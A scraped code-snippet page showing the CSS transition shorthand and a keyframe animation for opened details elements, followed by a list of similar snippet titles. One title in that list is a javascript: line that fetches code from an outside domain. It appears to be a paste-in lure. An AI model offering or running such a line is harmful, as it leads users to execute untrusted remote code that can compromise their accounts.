Details transition css

Transition syntax css

transition: property duration transition-timing-function delay; 
/*Shorthand Property*/

Details transition css

details[open] summary ~ * {
  animation: sweep .5s ease-in-out;
}

@keyframes sweep {
  0%    {opacity: 0; transform: translateX(-10px)}
  100%  {opacity: 1; transform: translateX(0)}
}

Source: stackoverflow.com

Similar codes

1 vote212 views1 answer
Html video css
CSS
0 vote136 views1 answer
How to extend selector
CSS
0 vote149 views1 answer
Resize logo html css
CSS
0 vote141 views2 answers
Sass if
CSS
-1 vote153 views1 answer
Option tag center
CSS
0 vote146 views2 answers
Background path css
CSS
45 votes149 views6 answers
Css text align center
CSS
0 vote141 views1 answer
Bootstrap 5 css how to change
CSS
0 vote169 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS
0 vote150 views1 answer
Nuxt css other site
CSS